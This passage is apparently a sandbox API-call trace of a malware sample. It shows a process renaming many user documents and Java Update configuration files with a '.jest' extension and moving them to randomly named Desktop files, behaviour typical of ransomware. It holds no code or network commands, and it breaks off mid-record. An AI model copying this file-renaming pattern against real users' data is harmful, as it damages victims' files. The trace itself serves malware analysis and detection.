NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᦶ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.528] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\4g0N-92qcdwoYtv.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\4g0n-92qcdwoytv.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\4g0N-92qcdwoYtv.pdf.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\4g0n-92qcdwoytv.pdf.jest")) returned 1 [0172.532] VarBstrFromR4 (in: fltIn=0x47945b0b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.09") returned 0x0 [0172.533] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\4g0N-92qcdwoYtv.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\4g0n-92qcdwoytv.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w-33IuSw2HbGPEkAngyvpTBV_juNsoLvzQ_PedW8WpzZ0y4YqMI3k0SB5K37_iPo4lGykNgqq2SizF0r5R-yvYHY9Vkma0bonNS4G.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w-33iusw2hbgpekangyvptbv_junsolvzq_pedw8wpzz0y4yqmi3k0sb5k37_ipo4lgykngqq2sizf0r5r-yvyhy9vkma0bonns4g.tmp")) returned 0 [0172.533] GetLastError () returned 0x2 [0172.534] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᦶ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.535] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\oaApCoVz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\oaapcovz.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\oaApCoVz.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\oaapcovz.docx.jest")) returned 1 [0172.536] VarBstrFromR4 (in: fltIn=0x47945b0b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.09") returned 0x0 [0172.539] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\oaApCoVz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\oaapcovz.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\plJdVCyERiA06Wlzd9ZUA4U4hmw-JO1nvjANhzYHKVt-tdbrrw8tnO8 S2XObBR6Hvg88hQysfFSqBJpMomaCXpnOB7WFUs7YBP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pljdvcyeria06wlzd9zua4u4hmw-jo1nvjanhzyhkvt-tdbrrw8tno8 s2xobbr6hvg88hqysffsqbjpmomacxpnob7wfus7ybp.tmp")) returned 0 [0172.539] GetLastError () returned 0x2 [0172.539] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᦶ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.540] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\sKZl3FIss-kzElVoXfF6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\skzl3fiss-kzelvoxff6.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\sKZl3FIss-kzElVoXfF6.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\skzl3fiss-kzelvoxff6.docx.jest")) returned 1 [0172.542] VarBstrFromR4 (in: fltIn=0x47945b0b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.09") returned 0x0 [0172.543] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\sKZl3FIss-kzElVoXfF6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\skzl3fiss-kzelvoxff6.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UZaZSasJI46ule81D4bu38Sy0tOEh37TiaE9FsFCkJUnpiUfm9fFh4uaxWyg6k4IpLO8PUIfdD49ue-qjD6lkfeqSyemcNBfbb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uzazsasji46ule81d4bu38sy0toeh37tiae9fsfckjunpiufm9ffh4uaxwyg6k4iplo8puifdd49ue-qjd6lkfeqsyemcnbfbb.tmp")) returned 0 [0172.543] GetLastError () returned 0x2 [0172.544] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᦶ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.545] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\PTvus1tVXYlS-ldwH.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\ptvus1tvxyls-ldwh.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\PTvus1tVXYlS-ldwH.rtf.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\ptvus1tvxyls-ldwh.rtf.jest")) returned 1 [0172.546] VarBstrFromR4 (in: fltIn=0x47945b0d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.1") returned 0x0 [0172.548] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\PTvus1tVXYlS-ldwH.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\ptvus1tvxyls-ldwh.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L8IAneMeczNq 4NCcq7q7kW6Z914L9-Oc-2sWuwcjfIBzfe-185RGfSD5cR-Yb6l-RJeKP4SKwxexKkyh9iX-IZEpm9FFhin2bDt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\l8ianemecznq 4nccq7q7kw6z914l9-oc-2swuwcjfibzfe-185rgfsd5cr-yb6l-rjekp4skwxexkkyh9ix-izepm9ffhin2bdt.tmp")) returned 0 [0172.548] GetLastError () returned 0x2 [0172.562] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᦶ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.565] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\EyUf1zLdCuR-Yc5yC.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\eyuf1zldcur-yc5yc.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\EyUf1zLdCuR-Yc5yC.doc.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\eyuf1zldcur-yc5yc.doc.jest")) returned 1 [0172.568] VarBstrFromR4 (in: fltIn=0x47945b0f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.12") returned 0x0 [0172.570] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\EyUf1zLdCuR-Yc5yC.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\eyuf1zldcur-yc5yc.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qwN62I76EuJWfh2XRP95hNOlXubvR-qdKyrMxM1AeXc505gWsxeH34tlgbVUfQ07HEOgqXjSYuXD8UFHIRf xghBN2Pk6q9ix2Bq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qwn62i76eujwfh2xrp95hnolxubvr-qdkyrmxm1aexc505gwsxeh34tlgbvufq07heogqxjsyuxd8ufhirf xghbn2pk6q9ix2bq.tmp")) returned 0 [0172.570] GetLastError () returned 0x2 [0172.573] MoveFileA (lpExistingFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml.jest" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml.jest")) returned 1 [0172.576] VarBstrFromR4 (in: fltIn=0x47945b11, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.13") returned 0x0 [0172.577] MoveFileA (lpExistingFileName="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml" (normalized: "c:\\programdata\\sun\\java\\java update\\jaureglist.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xrGH8uiqdBuw4-vdZA6KMyvvop0iHYpXjKEseOHQFnGOXtX7IhfeHoYqg7RN-Qsd-3JTS1Cl_4KjLg6l3hw7VFMmrpKjZDaUVz5kS.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xrgh8uiqdbuw4-vdza6kmyvvop0ihypxjkeseohqfngoxtx7ihfehoyqg7rn-qsd-3jts1cl_4kjlg6l3hw7vfmmrpkjzdauvz5ks.tmp")) returned 0 [0172.577] GetLastError () returned 0x2 [0172.579] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.jest" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml.jest")) returned 1 [0172.583] VarBstrFromR4 (in: fltIn=0x47945b11, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.13") returned 0x0 [0172.584] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ITW1NY9QMbRfaDVc6gTXYA0teAIDnss2YyIMrYNL_hZdyDVManoePmbU4RjsD9iixcy2GwA5o_sZoQX9P1kQ3CAz14juxsZ2VePW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\itw1ny9qmbrfadvc6gtxya0teaidnss2yyimrynl_hzdydvmanoepmbu4rjsd9iixcy2gwa5o_szoqx9p1kq3caz14juxsz2vepw.tmp")) returned 0 [0172.584] GetLastError () returned 0x2 [0172.585] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.jest" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml.jest")) returned 1 [0172.588] VarBstrFromR4 (in: fltIn=0x47945b11, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.13") returned 0x0 [0172.589] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zRiyowOWsHPUEKLhZeuUoNxwe7CHw8k2lXqV 39G8s3pigjbdkB6hJdY -RokRhM89ycMDevzti6dsd5d9jClJGJu9we-WcPDYyw1.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zriyowowshpueklhzeuuonxwe7chw8k2lxqv 39g8s3pigjbdkb6hjdy -rokrhm89ycmdevzti6dsd5d9jcljgju9we-wcpdyyw1.tmp")) returned 0 [0172.590] GetLastError () returned 0x2 [0172.592] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\OlGT3UVcenILyFlPik.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\olgt3uvcenilyflpik.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\OlGT3UVcenILyFlPik.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\olgt3uvcenilyflpik.xlsx.jest")) returned 1 [0172.594] VarBstrFromR4 (in: fltIn=0x47945b13, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.15") returned 0x0 [0172.596] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\OlGT3UVcenILyFlPik.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\olgt3uvcenilyflpik.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rYVoSQdjN8gOclHj0dDEuXUmR0TnjcxMyXbJ5FVtp Oeum-O9iVXGzI0ZLHewq9B9yLEPIhnthx0YJau74sI8Wuf289P8PEsMb_.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ryvosqdjn8goclhj0ddeuxumr0tnjcxmyxbj5fvtp oeum-o9ivxgzi0zlhewq9b9ylepihnthx0yjau74si8wuf289p8pesmb_.tmp")) returned 0 [0172.596] GetLastError () returned 0x2 [0172.633] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\kvzu4E JUHBs.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\kvzu4e juhbs.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\kvzu4E JUHBs.pdf.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\kvzu4e juhbs.pdf.jest")) returned 1 [0172.636] VarBstrFromR4 (in: fltIn=0x47945b17, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.18") returned 0x0 [0172.637] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\MSM2\\_vV8cOfxzuK\\kvzu4E JUHBs.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\msm2\\_vv8cofxzuk\\kvzu4e juhbs.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pViXC2k3D_3V5RI8ZMwgjEm7UjF7yXv0lBF1f83 BCU7NHCMk ncCtnirM8vGbdDIThpyu9LGd4SZkThv3WTrBWpGtwXT0woxqswu.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pvixc2k3d_3v5ri8zmwgjem7ujf7yxv0lbf1f83 bcu7nhcmk ncctnirm8vgbddithpyu9lgd4szkthv3wtrbwpgtwxt0woxqswu.tmp")) returned 0 [0172.637] GetLastError () returned 0x2 [0172.640] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\78oucB3g5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\78oucb3g5.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\78oucB3g5.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\78oucb3g5.xlsx.jest")) returned 1 [0172.642] VarBstrFromR4 (in: fltIn=0x47945b19, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.2") returned 0x0 [0172.644] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\78oucB3g5.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\78oucb3g5.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\NTd6y_cX2p729poh-Txctbs7HvYMY2SMJx_Pr2P3Q86Q3dHig_xgI4m2boTSRHsv5 C2Mym6mfdQaHKllxhCgnrHlUZ-sDN5kuw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ntd6y_cx2p729poh-txctbs7hvymy2smjx_pr2p3q86q3dhig_xgi4m2botsrhsv5 c2mym6mfdqahkllxhcgnrhluz-sdn5kuw.tmp")) returned 0 [0172.644] GetLastError () returned 0x2 [0172.713] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\wyfE6AXNG YMNRh.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\wyfe6axng ymnrh.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\wyfE6AXNG YMNRh.ods.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\wyfe6axng ymnrh.ods.jest")) returned 1 [0172.715] VarBstrFromR4 (in: fltIn=0x47945b21, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.26") returned 0x0 [0172.717] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\wyfE6AXNG YMNRh.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\wyfe6axng ymnrh.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LsOk-bzbJ8b6rcyUQWNYqo4bK12atlU8Edbi8d73DrtD9coAB9UbtIYy5gB31Xb3TMq3NC3r8hGItJsFvYKsHqT0WPlboulB-D.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lsok-bzbj8b6rcyuqwnyqo4bk12atlu8edbi8d73drtd9coab9ubtiyy5gb31xb3tmq3nc3r8hgitjsfvykshqt0wplboulb-d.tmp")) returned 0 [0172.717] GetLastError () returned 0x2 [0172.719] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\5mEHqE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\5mehqe.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\5mEHqE.xlsx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\5mehqe.xlsx.jest")) returned 1 [0172.721] VarBstrFromR4 (in: fltIn=0x47945b23, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.27") returned 0x0 [0172.722] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\5mEHqE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\5mehqe.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lcYRaI7CeP82MfLGWd52_qkYLeb42jOgOyRC0ZttmhjZReflCevQDHPDD1M8iJPVslM0dtuGprsX8M74Pu9KGr5b2o0iRzztEeeSW.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lcyrai7cep82mflgwd52_qkyleb42jogoyrc0zttmhjzreflcevqdhpdd1m8ijpvslm0dtugprsx8m74pu9kgr5b2o0irzzteeesw.tmp")) returned 0 [0172.722] GetLastError () returned 0x2 [0172.723] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\GB0J2 iW.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\gb0j2 iw.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\GB0J2 iW.odt.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\gb0j2 iw.odt.jest")) returned 1 [0172.725] VarBstrFromR4 (in: fltIn=0x47945b23, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.27") returned 0x0 [0172.729] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\GB0J2 iW.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\gb0j2 iw.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7Ww2brk5kaLn-ZJhDy--dWlpqCMS_-HbZYGX6Iu-GoAzxzSSVMD72_S-fGfFxDcgDbhMpkdV1njoO6X3F 2NH6F0h9Q dL zcOaq.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7ww2brk5kaln-zjhdy--dwlpqcms_-hbzygx6iu-goazxzssvmd72_s-fgffxdcgdbhmpkdv1njoo6x3f 2nh6f0h9q dl zcoaq.tmp")) returned 0 [0172.730] GetLastError () returned 0x2 [0172.742] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\JnWXEW5.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\jnwxew5.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\JnWXEW5.docx.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\jnwxew5.docx.jest")) returned 1 [0172.744] VarBstrFromR4 (in: fltIn=0x47945b25, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.29") returned 0x0 [0172.746] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\JnWXEW5.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\jnwxew5.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6u1r_oRUq7OKl5WEXClYGddqO00PXIW_LkI1RqRHkkuehyq4LKpOYvQPPBdt46btO3SUeyr2AATRv6SpLXEJFmgc_TjH0GZLS1fIO.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6u1r_oruq7okl5wexclygddqo00pxiw_lki1rqrhkkuehyq4lkpoyvqppbdt46bto3sueyr2aatrv6splxejfmgc_tjh0gzls1fio.tmp")) returned 0 [0172.764] GetLastError () returned 0x2 [0172.766] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\Hpp3-RXbz.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\hpp3-rxbz.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\Hpp3-RXbz.ods.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\hpp3-rxbz.ods.jest")) returned 1 [0172.769] VarBstrFromR4 (in: fltIn=0x47945b29, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.32") returned 0x0 [0172.774] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\Hpp3-RXbz.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\hpp3-rxbz.ods"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4ZNNC2V8riwbmZ36_K68TY0IMbp_k3pTky7FUt8DM9FWR7YVyMUg9EznSpXMfUfvFmV6lVqoputkMylyQ1XdDGbYN8UedcV7k0mQL.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4znnc2v8riwbmz36_k68ty0imbp_k3ptky7fut8dm9fwr7yvymug9eznspxmfufvfmv6lvqoputkmylyq1xddgbyn8uedcv7k0mql.tmp")) returned 0 [0172.774] GetLastError () returned 0x2 [0172.794] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\XGxb.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\xgxb.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\XGxb.pdf.jest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\xgxb.pdf.jest")) returned 1 [0172.798] VarBstrFromR4 (in: fltIn=0x47945b2d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75958.35") returned 0x0 [0172.800] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\51TvE24s cp q\\mSUTOIE\\XGxb.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\51tve24s cp q\\msutoie\\xgxb.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I05Z2vP3zysOXzbWWAg8eSmmh6E60yYM6IToJUJSXwhT8ZWSwSodAoRubx2gPoOhRIe1DxEmu27Qb5Z6rfbc_hIosq3r7c8VXd.tmp" (normalized: "c:\\users\\5p5nrgjn0js 